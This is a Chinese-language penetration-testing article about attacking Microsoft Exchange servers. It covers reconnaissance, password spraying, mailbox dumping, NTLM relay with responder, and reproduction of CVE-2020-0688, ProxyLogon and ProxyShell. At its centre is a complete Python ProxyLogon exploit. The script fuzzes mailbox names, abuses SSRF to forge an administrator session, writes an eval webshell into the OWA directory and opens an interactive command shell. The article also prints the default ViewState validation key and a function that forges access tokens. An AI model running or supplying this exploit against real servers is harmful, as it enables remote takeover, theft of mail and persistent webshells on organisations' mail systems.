认识Exchange1. 邮件服务器角色(Server Role)Exchange Server 2010包含五个服务器角色,而在Exchange Server 2013版本中精简到了三个服务器角色:邮箱服务器 负责认证、重定向、代理来自…
认识Exchange
- 邮件服务器角色(Server Role)
Exchange Server 2010包含五个服务器角色,而在Exchange Server 2013版本中精简到了三个服务器角色:
-
邮箱服务器: 负责认证、重定向、代理来自外部不同客户端的访问请求,主要包含客户端访问服务(Client Access Service)和前端传输服务(Front End Transport Service)两大组件。
-
客户端访问服务器: 托管邮箱、公共文件夹等数据,主要包含集线传输服务(Hub Transport Service)和邮箱传输服务(Mail Transport Service)两大组件服务。
-
边缘传输服务器: 负责路由出站与入站邮件、策略应用等。 2. 客户端/远程访问接口和协议 endpoint 说明 /autodiscover Exchange Server 2007推出的一项自动服务,用于自动配置用户在outlook中邮箱的相关设置,简化用户登录使用邮箱的流程 /ecp (Exchange Control Panel) Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台 /ews (Exchange Web Service, SOAP-over-HTTP) 实现客户端与服务端之间基于HTTP的SOAP交互 /mapi (MAPI-over-HTTP, MAPI/HTTP) Outlook连接Exchange的默认方式,在2013和2013之后开始使用 /Microsoft-Server-ActiveSync 用于移动应用程序访问电子邮件 /OAB (Office Address Book) 用于为Outlook客户端提供地址簿,减轻Exchange的负担 /owa (Outlook Web App) Exchange owa接口,用于通过web应用程序访问邮件 /poweshell 用于服务器管理的Exchange管理控制台 /eac (Exchange Administrator Center) Exchange管理中心,是组织中的Exchange的web控制台
Exchange服务发现
- 基于端口扫描发现
Exchange需要多个服务与功能组件之间相互依赖,所以服务器会开放多个端口对外提供服务。但是利用nmap进行端口扫描寻找Exchange服务器需要与主机进行交互,会产生大量的通信流量,造成IDS报警并且在目标服务器留下大量的日志。
nmap -A -O -sV -v 192.168.159.128
-A 开启操作系统和版本检测,脚本扫描以及路径信息
-O 开启操作系统检测
-sV 通过开放端口决定服务和版本信息
- SPN查询
服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。服务主体名称是服务实例(可以理解为一个服务,比如HTTP、MSSQL和EXCHANGE)的唯一标识符。Kerberos身份验证将使用SPN将服务实例与服务登录账户相关联。
setspn.exe -T zesiar0.com -F -Q */*
SPN是启用Kerberos的服务所注册的便于KDC查找的服务名称,这些SPN名称信息被记录在活动目录数据库中,只要服务安装完成,这些SPN名称就已经存在除非卸载或者删除,SPN名称查找与当前服务是否启动没有关系(如Exchange服务器的IMAP/POP等部分服务器默认是不启动的,但其SPN名称依然存在)
Exchange渗透
没有Exchange凭据的情况
Exchange暴力破解
在企业域环境中,Exchange与域服务集合,域用户账号密码就是Exchange邮箱的账户密码。如果通过暴力手段成功获取了用户邮箱密码,在通常情况下也就间接获得了域用户密码。
Autodiscover自动发现服务使用Autodiscover.xml配置文件来对用户进行自动设置,获取该自动配置需要用户认证。
MailSniper提供了分别针对OWA接口、EWS接口和ActiveSync接口的password spray。
泄露内网信息
- 泄露Exchange服务器操作系统,主机名和Netbios名
在type2返回challenge的过程中,同时返回了操作系统类型,主机名,netbios名等等,这就意味着给服务器发送一个type1的请求,服务器返回type2的响应。
有Exchange凭据的情况
导出邮箱列表
-
利用MailSniper ```bash
// 首先导入MailSniper.ps1
Import-Module .\MailSniper.ps1
// 再利用MailSniper导出邮箱列表
Get-GlobalAddressList -ExchHost MAIL -UserName domain\username -Password password -Ou
tFile litst.txt
[![v6aqoQ.png](https://shs3.b.qianxin.com/attack_forum/2022/09/attach-c7834b0b0899492df73bb8c85ba68d82ec416e68.png)](https://imgse.com/i/v6aqoQ)
2. 利用ruler
```bash
.\\ruler-win64.exe --insecure --url https://localhost/autodiscover/autodiscover.xml --email administrator@zesia
r0.com -u administrator -p zengjiahua..123 --verbose --debug abk dump -o ruler_list.txt
但是我在windows server 2016上实验时,会报出错误,暂时还未解决
panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xc0000005 code=0x0 addr=0x50 pc=0x1258af2]
-
利用impacket ```bash
impacket-exchanger DOMAIN/USERNAME:PASSWORD@MAIL nspi list-tables
impacket-exchanger DOMAIN/USERNAME:PASSWORD@MAIL nspi dump-tables -guid GUID
[![vys4aT.png](https://shs3.b.qianxin.com/attack_forum/2022/09/attach-facd918592e765c324aaa85daa53c62c72d60ac4.png)](https://imgse.com/i/vys4aT)
### 检索邮件内容
攻击者可以利用MailSniper在获得合法凭证之后,通过检索邮箱文件夹来尝试发现和窃取包含敏感信息的邮件数据。在中文环境下,需要指定目录为中文的“收件箱”
```bash
Invoke-SelfSearch -Mailbox Administrator@zesiar0.com -Terms *test* -Folder 收件箱 -remote
注意:这里需要加上-remote选项输入用户凭据(不知道为什么其他文章没有提到)
NTLM 中继
NTLM中继攻击,是指攻击者在NTLM交互过程中充当中间人的角色,在请求认证的客户端与服务端之间传递交互信息,将客户端提交的Net-NTLM哈希截获并随后将其重放到认证目标方,以中继重放的中间人攻击实现无需破解用户名密码而获取权限。
我先以test用户登录,给administrator用户发一封邮件
再在攻击机上启动responder监控eth0网卡
再登录administrator假装点击邮件,responder接受到NTLMv2 hash
Exchange漏洞复现
CVE-2020-0688
影响范围
-
Microsoft Exchange Server 2010 Service Pack 3
-
Microsoft Exchange Server 2013
-
Microsoft Exchange Server 2016
-
Microsoft Exchange Server 2019 #### 漏洞原理
Exchange Server在默认安装的情况下,validationKey和decryptionKey都是相同的,攻击者可以利用静态密钥对服务器发起攻击,在服务器中以SYSTEM权限远程执行代码。
ViewState概述
ViewState机制时ASP.NET中对同一个Page的多次请求(PostBack)之间维持Page及控件状态的一种机制。在WebForm中,每次请求都会存在客户端和服务器之间的一个交互。如果请求完成之后将一些信息传回客户端,下次请求的时候客户端再将这些状态信息提交给服务器,服务器端对这些信息使用和处理,再将这些信息传回给客户端,这就是ViewState的基本工作模式。ViewState的设计目的就是为了将必要的信息持久化在页面中,这样就可以通过ViewState在页面回传的过程中保存状态值。
关于ViewState反序列化详细解释:
https://paper.seebug.org/1386/#3-webconfig-viewstate利用过程
因为Exchange Server在默认的配置下validationKey和decryptionKey分别表示校验和加密所用的密钥,且都是硬编码。
所以利用该漏洞只需要
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认)
--validationalg = SHA1(默认)
--generator = B97B4E27(默认)
--viewstateuserkey = ASP.NET_SessionId的值
- 以上变量可以通过下图获取:
- 利用ysoserial.exe生成恶意的viewstate
- 之后再访问构造好的url ```bash
/ecp/default.aspx?__VIEWSTATEGENERATOR=&__VIEWSTATE=URLENCODE()### CVE-2021-26855 #### 影响范围
-
Exchange Server 2019 < 15.02.0792.010
-
Exchange Server 2019 < 15.02.0721.013
-
Exchange Server 2016 < 15.01.2106.013
-
Exchange Server 2013 < 15.00.1497.012 #### 漏洞原理
Microsoft.Exchange.FrontEndHttpProxy.dll
未有效校验Cookie中可控的X-BEResource
,后续处理中结合.NET的UrlBuilder
类特性造成SSRF。exchange会对X-BEResource
以~
为分隔符分为一个数组array,array[0]为Fqdn
,array[1]为version
;如果version
小于E15MinVersion
,则会进入判断语句,并将变量ProxyToDownLevel
赋值为True,之后会调用身份认证函数EcpProxyRequestHandler.AddDownLevelProxyHeaders进行身份认证;如果veesion
大于E15MinVersion
则跳出if判断从而绕过身份认证。利用过程
- 限定路径,路径格式必须是/ecp/xxx.(js/png/..)
- 构造
X-BEResource
,~
前面部分为需要SSRF访问的url,后面部分为大于E15MinVersion
CVE-2021-27065
影响范围
-
Exchange Server 2019 < 15.02.0792.010
-
Exchange Server 2019 < 15.02.0721.013
-
Exchange Server 2016 < 15.01.2106.013
-
Exchange Server 2013 < 15.00.1497.012 ##### 漏洞原理
Microsoft.Exchange.Management.DDIService.WriteFileActivity
未校验文件后缀,可由文件内容部分可控的相关功能写入webshell。利用过程
- 请求EWS,从
X-CalculationBETarget
响应头获取域名
- 利用邮箱用户名,请求Autodiscover获取配置中的LegacyDN
- 利用
MAPI over HTTP
请求引发Microsoft.Exchange.RpcClientAccess.Server.LoginPermException
获取SID - 替换尾部RID为500伪造管理员SID,由ProxyLogonHandler获取管理员身份
ASP.NET_SessionId
与msExchCanary
- 通过DDI组件Getlist接口获取RawIdentity
- 利用外部URL虚拟路径属性引入Webshell
- 最后出发重置时的备份功能,将文件写入指定的UNC目录
注意:webshell的内容需要规避会被URL编码的特殊字符,且字符长度不能超过255
可以利用以下python脚本进行自动化测试
# -*- coding: utf-8 -*-
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse
import sys
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test',
'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'log', 'no-reply']
proxies = {}
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'
final_shell = ""
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
if __name__=="__main__":
parser = argparse.ArgumentParser(
description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\n如果不清楚用户名,可不填写-user参数,将自动Fuzz用户名。')
parser.add_argument('-u', type=str,
help='target')
parser.add_argument('-user',
help='exist email', default='')
parser.add_argument('-suffix',
help='email suffix')
args = parser.parse_args()
target = args.u
suffix = args.suffix
if suffix == "":
print("请输入suffix")
exist_email = args.user
if exist_email:
fuzz_email.insert(0, exist_email)
random_name = id_generator(4) + ".js"
print("目标 Exchange Server: " + target)
for i in fuzz_email:
new_email = i+suffix
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
""" % new_email
# print("get FQDN")
FQDN = "EXCHANGE01"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
"User-Agent": user_agent},
verify=False, proxies=proxies)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
FQDN = ct.headers["X-FEServer"]
print("got FQDN:" + FQDN)
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent},
data=autoDiscoverBody,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print(ct.status_code)
print("Autodiscover Error!")
if "<LegacyDN>" not in str(ct.content):
print("Can not get LegacyDN!")
try:
legacyDn = str(ct.content).split("<LegacyDN>")[
1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)
mapi_body = legacyDn + \
"\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
"User-Agent": user_agent
},
data=mapi_body,
verify=False,
proxies=proxies
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
print("Mapi Error!")
exit()
sid = str(ct.content).split("with SID ")[
1].split(" and MasterAccountSid")[0]
print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1], "500")
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
data=proxyLogon_request,
proxies=proxies,
verify=False
)
if ct.status_code != 241 or not "set-cookie" in ct.headers:
print("Proxylogon Error!")
exit()
sess_id = ct.headers['set-cookie'].split(
"ASP.NET_SessionId=")[1].split(";")[0]
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[
1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
# "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
# FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
msExchEcpCanary=msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
json={"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "OAB"\}\}, "sort": {\}\},
verify=False,
proxies=proxies
)
if ct.status_code != 200:
print("GetOAB Error!")
exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "http://ffff/#%s" % shell_content\}\}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=oab_json,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print("Set external url Error!")
exit()
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path\}\}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=reset_oab_body,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print("写入shell失败")
exit()
shell_url = "https://"+target+"/owa/auth/test11.aspx"
print("成功写入shell:" + shell_url)
print("下面验证shell是否ok")
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("正在请求shell")
import time
time.sleep(1)
data = requests.post(shell_url, data={
"code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies)
if data.status_code != 200:
print("写入shell失败")
else:
print("shell:"+data.text.split("OAB (Default Web Site)")
[0].replace("Name: ", ""))
print('[+]用户名: '+ new_email)
final_shell = shell_url
break
except:
print('[-]用户名: '+new_email)
print("=============================")
if not final_shell:
sys.exit()
print("下面启用交互式shell")
while True:
input_cmd = input("[#] command: ")
data={"code": """Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())""" % input_cmd}
ct = requests.post(
final_shell,
data=data,verify=False, proxies=proxies)
if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text:
print("[*] Failed to execute shell command")
else:
shell_response = ct.text.split(
"Name:")[0]
print(shell_response)
CVE-2021-26855与CVE-2021-27065一起使用就是ProxyLogon,可以不需要邮箱用户的凭证就可以实现RCE
CVE-2021-34473
影响范围
-
Exchange Server 2013 < Apr21SU
-
Exchange Server 2016 < Apr21SU < CU21
-
Exchange Server 2019 < Apr21SU < CU10 #### 漏洞原理
在
HttpProxy\EwsAutodiscoverProxyRequestHandler.cs
的·GetClientUrlForProxy
函数中剔除absoluteUri
中的this.explicitLogonAddress
,而this.explicitLogonAddress
的取值来自(GET|POST|Cookie|Server)请求中Email
的值,但是需要满足RequestPathParser.IsAutodiscoverV2PreviewRequest()
的返回值为true,这个则是检查路径中是否存在/autodiscove.json
利用过程
- 构造URL
https://192.168.159.131/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com
-
利用exchange的autodiscover服务可以用来查找高权限用户的配置文件,首先需要获取legacyDn属性,再利用这个属性+末尾添加不可见字符可以获得目标用户的sid。获得了用户的sid后就可以使用目标用户的权限来访问ews的api从而实现恶意操作。这一步和proxyLogon中是一样的。 ### CVE-2021-34523
影响范围
-
Exchange Server 2013 < Apr21SU
-
Exchange Server 2016 < Apr21SU < CU21
-
Exchange Server 2019 < Apr21SU < CU10
漏洞原理
Exchange Powershell Remoting是一个基于WSMan协议的一个服务,可以执行一些特定的powershell命令,实现的功能有发邮件、读邮件、更新配置文件等,使用前提是使用者具有邮箱。所以,如果利用前面的ssrf来访问powershell接口是不会成功的,因为system是没有邮箱 的。接下来,就需要先解决身份认证问题。因为在
ShouldCopyHeaderToServerRequest
方法中会过滤一些自定义请求头,其中就包括校验身份的X-CommonAccessToken
。
在Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll
中,有个用户可控的输入点X-Rps-CAT
。当X-CommonAccessToken
请求头为空时,会从X-Rps-CAT
中读取数据,这个数据经过处理后会赋给X-CommonAccessToken
利用过程
利用以下python代码可以生成token
def gen_token(uname, sid): version = 0 ttype = 'Windows' compressed = 0 auth_type = 'Kerberos' raw_token = b'' gsid = 'S-1-5-32-544' version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little') type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode() compress_data = b'C' + (compressed).to_bytes(1, 'little') auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode() login_data = b'L' + (len(uname)).to_bytes(1, 'little') + uname.encode() user_data = b'U' + (len(sid)).to_bytes(1, 'little') + sid.encode() group_data = b'G' + pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode() ext_data = b'E' + pack('>I', 0) raw_token += version_data raw_token += type_data raw_token += compress_data raw_token += auth_data raw_token += login_data raw_token += user_data raw_token += group_data raw_token += ext_data data = base64.b64encode(raw_token).decode() return data
CVE-2021-31207
影响范围
-
Exchange Server 2013 < May21SU
-
Exchange Server 2016 < May21SU < CU21
-
Exchange Server 2019 < May21SU < CU10
漏洞原理
用户在认证之后,可以写入任意后缀文件
利用过程
结合上面的漏洞,用户首先通过ssrf漏洞访问powershell接口,利用该接口导出邮件到指定web目录下。但是这样还存在一个问题,导出的邮件是pst编码的,所以需要再提前编码一次。
CVE-2021-34473,CVE-2021-31207和CVE-2021-34523一起来利用就是proxyshell,最终可以实现rce。
利用脚本:
https://github.com/horizon3ai/proxyshell
- 本文作者: A3bz
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1837
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!